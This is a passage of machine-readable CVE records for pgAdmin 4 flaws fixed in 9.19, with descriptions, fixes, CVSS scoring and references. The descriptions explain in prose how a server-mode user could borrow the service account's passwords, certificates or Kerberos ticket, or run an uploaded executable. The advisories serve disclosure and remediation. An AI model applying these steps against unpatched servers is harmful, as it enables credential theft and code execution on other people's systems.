"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10651"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/d761942d0bb84d52b18e81307064dd08e26224e3"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "pgAdmin 4: Non-administrators can share a server with every user"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116248",
"datePublished": "2026-10-30T19:55:17.531Z",
"dateReserved": "2026-10-25T16:26:16.419Z",
"dateUpdated": "2026-10-30T19:55:17.531Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-116247 (GCVE-0-2026-116247)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
8.2 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
7.1 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N
7.1 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
When a server in pgAdmin 4 had no password file, client certificate or client key configured, or the configured one could not be found, pgAdmin left the parameter out of the connection and libpq fell back to the defaults of the operating-system account running pgAdmin: ~/.pgpass, ~/.postgresql/postgresql.crt and postgresql.key, or PGPASSFILE, PGSSLCERT and PGSSLKEY. In server mode any user could therefore connect to a server with the service account's saved passwords or client certificate, and supplying only a copy of its public certificate was enough for libpq to pair it with the service account's private key. A pg_service.conf entry, or a maintenance database name read as a connection string by pg_dumpall, could bring the same files back for the utilities.
The fix gives each of these parameters a value in server mode, the user's own file or otherwise a path that can never be opened, in the connection string, in the environment of the utilities and in the --dbname connection string that ranks above a service entry. Desktop mode is unchanged.
This issue affects pgAdmin 4: before 9.19.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Servers",
"Backup",
"Restore",
"Import/Export Data",
"Maintenance",
"PSQL Tool"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/driver/psycopg3/server_manager.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cdpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "When a server in pgAdmin 4 had no password file, client certificate or client key configured, or the configured one could not be found, pgAdmin left the parameter out of the connection and libpq fell back to the defaults of the operating-system account running pgAdmin: ~/.pgpass, ~/.postgresql/postgresql.crt and postgresql.key, or PGPASSFILE, PGSSLCERT and PGSSLKEY. In server mode any user could therefore connect to a server with the service account\u0027s saved passwords or client certificate, and supplying only a copy of its public certificate was enough for libpq to pair it with the service account\u0027s private key. A pg_service.conf entry, or a maintenance database name read as a connection string by pg_dumpall, could bring the same files back for the utilities.\n\nThe fix gives each of these parameters a value in server mode, the user\u0027s own file or otherwise a path that can never be opened, in the connection string, in the environment of the utilities and in the --dbname connection string that ranks above a service entry. Desktop mode is unchanged.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Any authenticated user who can register a server. Attack Complexity is High: the service account must have a password file entry or client certificate that a server the attacker can reach accepts, a deployment condition the attacker does not control. Scope is Changed because the connection is made with the service account\u0027s database credentials, an identity the attacker was never granted; Confidentiality and Integrity are High on that database server. Availability is None."
}
]
},
{
"cvssV4_0": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AT:P for the service account\u0027s credential and an accepting server. VC:H because the service account\u0027s stored secret is used through pgAdmin; SC:H/SI:H for the database server reached with that identity."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-522",
"description": "CWE-522 Insufficiently Protected Credentials",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-1188",
"description": "CWE-1188 Initialization of a Resource with an Insecure Default",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:16.935Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10652"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/32db693198f28b78fe2af12a726b80a68eb78cb2"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "pgAdmin 4: libpq uses the pgAdmin service account\u0027s own password file and client certificate"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116247",
"datePublished": "2026-10-30T19:55:16.935Z",
"dateReserved": "2026-10-25T16:26:16.419Z",
"dateUpdated": "2026-10-30T19:55:16.935Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-116246 (GCVE-0-2026-116246)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
6.5 (Medium) - CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:N
7.0 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:H/VI:N/VA:N/SC:H/SI:L/SA:N
7.0 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:H/VI:N/VA:N/SC:H/SI:L/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
To pass a server's password to psql and to the utilities pgAdmin 4 runs as background processes, the server manager wrote it into pgAdmin's own process environment: as PGPASSWORD for the PSQL tool, and under a per-process variable for a utility. Nothing removed it afterwards. pgAdmin's environment is shared by every user's requests and copied into every process it starts, so in server mode another user's later PSQL session or utility inherited the password, and libpq used PGPASSWORD for any connection made without a password of its own, letting one user connect with another user's saved password.
The fix puts the password only into the environment built for the process that needs it and starts psql with a copy of pgAdmin's environment instead of the environment itself.
This issue affects pgAdmin 4: before 9.19.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"PSQL Tool",
"Backup",
"Restore",
"Import/Export Data",
"Maintenance"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/driver/psycopg3/server_manager.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/misc/bgprocess/processes.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/psql/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cdpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "To pass a server\u0027s password to psql and to the utilities pgAdmin 4 runs as background processes, the server manager wrote it into pgAdmin\u0027s own process environment: as PGPASSWORD for the PSQL tool, and under a per-process variable for a utility. Nothing removed it afterwards. pgAdmin\u0027s environment is shared by every user\u0027s requests and copied into every process it starts, so in server mode another user\u0027s later PSQL session or utility inherited the password, and libpq used PGPASSWORD for any connection made without a password of its own, letting one user connect with another user\u0027s saved password.\n\nThe fix puts the password only into the environment built for the process that needs it and starts psql with a copy of pgAdmin\u0027s environment instead of the environment itself.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Requires the PSQL tool to be enabled (ENABLE_PSQL) and another user to have used it (User Interaction Required), and the attacker\u0027s connection or utility to follow in the same pgAdmin process (Attack Complexity High). The gain is real only for users without the PSQL tool permission: a user who has it already holds a shell as the pgAdmin account. Scope is Changed because the password belongs to another user; Confidentiality is High for it. Integrity is Low, reflecting that the attacker\u0027s use of the other user\u0027s database identity is constrained by these conditions; Availability is None."
}
]
},
{
"cvssV4_0": {
"baseScore": 7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:H/VI:N/VA:N/SC:H/SI:L/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AT:P for the timing and configuration conditions, UI:P because the victim only has to use the PSQL tool. VC:H for the leaked password; SC:H/SI:L for the database server it opens."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-214",
"description": "CWE-214 Invocation of Process Using Visible Sensitive Information",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-526",
"description": "CWE-526 Cleartext Storage of Sensitive Information in an Environment Variable",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:16.276Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10653"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/0eefa38f774dce07c1f939d87f2993b36e2313b9"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "pgAdmin 4: Server passwords are left in pgAdmin\u0027s process environment"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116246",
"datePublished": "2026-10-30T19:55:16.276Z",
"dateReserved": "2026-10-25T16:26:16.419Z",
"dateUpdated": "2026-10-30T19:55:16.276Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-116245 (GCVE-0-2026-116245)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
8.2 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
7.1 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N
7.1 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N
VLAI Severity ?
EPSS score ?
Summary
libpq looks a connection service up in the service file of the operating-system account running pgAdmin 4, and an entry there can hold a password or name a password file or client certificate. In server mode any user could set a server's Service, or a "service" connection parameter, to one of those entries and connect with its credentials. A PGPASSWORD or PGSERVICE variable set for that account was likewise used by libpq for every connection without a value of its own and passed on to the utilities, and pg_dumpall read a maintenance database name such as "service=..." as a connection string.
The fix adds the SERVER_MODE_ALLOWED_SERVICES setting, empty by default: in server mode only a listed service can be used, the servicefile parameter is refused, and PGPASSWORD and PGSERVICE are removed from pgAdmin's environment at startup. The allowlist is checked again on the final connection string, and the pg_dumpall database name is wrapped as a connection string.
This issue affects pgAdmin 4: before 9.19.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Servers",
"Backup",
"Restore",
"Import/Export Data",
"Maintenance",
"PSQL Tool"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/driver/psycopg3/server_manager.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/browser/server_groups/servers/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cdpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "libpq looks a connection service up in the service file of the operating-system account running pgAdmin 4, and an entry there can hold a password or name a password file or client certificate. In server mode any user could set a server\u0027s Service, or a \"service\" connection parameter, to one of those entries and connect with its credentials. A PGPASSWORD or PGSERVICE variable set for that account was likewise used by libpq for every connection without a value of its own and passed on to the utilities, and pg_dumpall read a maintenance database name such as \"service=...\" as a connection string.\n\nThe fix adds the SERVER_MODE_ALLOWED_SERVICES setting, empty by default: in server mode only a listed service can be used, the servicefile parameter is refused, and PGPASSWORD and PGSERVICE are removed from pgAdmin\u0027s environment at startup. The allowlist is checked again on the final connection string, and the pg_dumpall database name is wrapped as a connection string.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Any authenticated user who can register a server or set connection parameters. Attack Complexity is High: the service account\u0027s service file (or environment) must hold a credential-bearing entry that a reachable server accepts, a deployment condition the attacker does not control. Scope is Changed because the connection uses credentials configured for the service account, never granted to the attacker; Confidentiality and Integrity are High on that database server. Availability is None."
}
]
},
{
"cvssV4_0": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AT:P for the credential-bearing service entry. VC:H because the stored secret is used through pgAdmin; SC:H/SI:H for the database server reached with it."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-522",
"description": "CWE-522 Insufficiently Protected Credentials",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-862",
"description": "CWE-862 Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:15.679Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10654"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/a0c8f4857f732c6f5e5bacf4b289b811bb5c6a06"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "pgAdmin 4: Connection services are not restricted in server mode"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116245",
"datePublished": "2026-10-30T19:55:15.679Z",
"dateReserved": "2026-10-25T16:26:16.419Z",
"dateUpdated": "2026-10-30T19:55:15.679Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-116244 (GCVE-0-2026-116244)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
8.2 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
7.1 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N
7.1 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
When a pgAdmin 4 connection was not meant to use a Kerberos user's delegated credentials, pgAdmin removed KRB5CCNAME from its environment, so the Kerberos library fell back to the default credential cache, or a client keytab, of the operating-system account running pgAdmin. libpq then answered any server that asked for GSSAPI authentication with that account's ticket, whatever user name the pgAdmin user gave, so in server mode any user could connect as the service account's Kerberos principal; gssencmode=disable did not prevent it. On Windows, SSPI used the service account's logon in the same way. psql was also started with pgAdmin's environment, which could hold another user's credential cache while that user was connecting.
The fix points KRB5CCNAME and KRB5_CLIENT_KTNAME at a file that cannot exist except while a Kerberos-authenticated user connects with Kerberos, and gives every other connection, psql and the utilities require_auth=!gss,!sspi and gssencmode=disable, checked on the final connection string. require_auth needs libpq 16 or later.
This issue affects pgAdmin 4: before 9.19.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Servers",
"Authentication",
"PSQL Tool",
"Backup",
"Restore"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/driver/psycopg3/server_manager.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/locker.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cdpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "When a pgAdmin 4 connection was not meant to use a Kerberos user\u0027s delegated credentials, pgAdmin removed KRB5CCNAME from its environment, so the Kerberos library fell back to the default credential cache, or a client keytab, of the operating-system account running pgAdmin. libpq then answered any server that asked for GSSAPI authentication with that account\u0027s ticket, whatever user name the pgAdmin user gave, so in server mode any user could connect as the service account\u0027s Kerberos principal; gssencmode=disable did not prevent it. On Windows, SSPI used the service account\u0027s logon in the same way. psql was also started with pgAdmin\u0027s environment, which could hold another user\u0027s credential cache while that user was connecting.\n\nThe fix points KRB5CCNAME and KRB5_CLIENT_KTNAME at a file that cannot exist except while a Kerberos-authenticated user connects with Kerberos, and gives every other connection, psql and the utilities require_auth=!gss,!sspi and gssencmode=disable, checked on the final connection string. require_auth needs libpq 16 or later.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Any authenticated user who can register a server. Attack Complexity is High: the service account must hold a credential cache or keytab, or run on a domain-joined Windows host, and a reachable server must accept that principal. Scope is Changed because the connection is made as the service account\u0027s principal, an identity the attacker was never granted; Confidentiality and Integrity are High on that database server. Availability is None."
}
]
},
{
"cvssV4_0": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AT:P for the Kerberos deployment conditions. VC:H because the service account\u0027s credential is used through pgAdmin; SC:H/SI:H for the database server reached with it."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-522",
"description": "CWE-522 Insufficiently Protected Credentials",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-1188",
"description": "CWE-1188 Initialization of a Resource with an Insecure Default",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:15.101Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10655"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/145e511f05eed69ebcadd3cd61ffea0a5b4c69a4"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "pgAdmin 4: libpq uses the pgAdmin service account\u0027s Kerberos credentials"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116244",
"datePublished": "2026-10-30T19:55:15.101Z",
"dateReserved": "2026-10-25T16:26:16.419Z",
"dateUpdated": "2026-10-30T19:55:15.101Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-116243 (GCVE-0-2026-116243)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
7.5 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
7.7 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
7.7 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
Summary
pgAdmin 4 runs pg_dump, pg_restore, pg_dumpall and psql from the binary path a user sets in their preferences. In server mode the binary path was refused only when it lay under the per-user storage directory (STORAGE_DIR), not under a SHARED_STORAGE directory, which ordinary users can upload files to. A user could therefore upload an executable to shared storage, point their binary path at it, and have pgAdmin run it as the operating-system account running pgAdmin. On POSIX, files created through pgAdmin are not executable, so this is exploitable where any file with an executable name can run, such as Windows server mode.
The fix checks the binary path against every SHARED_STORAGE directory as well, after expanding $DIR, collapsing ".." and resolving symbolic links, compares directories in a way a different spelling on a case-insensitive filesystem cannot bypass, refuses a path containing a NUL, and enforces the check wherever binary paths are resolved, including for the PSQL tool.
This issue affects pgAdmin 4: before 9.19.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Preferences",
"Backup",
"Restore",
"PSQL Tool"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/misc/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Harsh Singh \u003c93harshsingh@gmail.com\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cdpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "pgAdmin 4 runs pg_dump, pg_restore, pg_dumpall and psql from the binary path a user sets in their preferences. In server mode the binary path was refused only when it lay under the per-user storage directory (STORAGE_DIR), not under a SHARED_STORAGE directory, which ordinary users can upload files to. A user could therefore upload an executable to shared storage, point their binary path at it, and have pgAdmin run it as the operating-system account running pgAdmin. On POSIX, files created through pgAdmin are not executable, so this is exploitable where any file with an executable name can run, such as Windows server mode.\n\nThe fix checks the binary path against every SHARED_STORAGE directory as well, after expanding $DIR, collapsing \"..\" and resolving symbolic links, compares directories in a way a different spelling on a case-insensitive filesystem cannot bypass, refuses a path containing a NUL, and enforces the check wherever binary paths are resolved, including for the PSQL tool.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Any authenticated user who can upload to a shared storage directory and set their binary path. Attack Complexity is High: SHARED_STORAGE must be configured and writable by the user, and the platform must let an uploaded file run (Windows server mode; on POSIX uploads are not executable). Confidentiality, Integrity and Availability are High for code execution as the pgAdmin service account. Scope is Unchanged, following CVE-2026-17347: the code runs with the authority pgAdmin already holds."
}
]
},
{
"cvssV4_0": {
"baseScore": 7.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AT:P for the deployment and platform conditions. VC:H/VI:H/VA:H for code execution as the pgAdmin account; no subsequent-system impact is claimed."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-426",
"description": "CWE-426 Untrusted Search Path",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-427",
"description": "CWE-427 Uncontrolled Search Path Element",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:14.513Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10656"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/9e95d9a72155beb40d3735cadf6ae754f627cac7"
}
],
"source": {
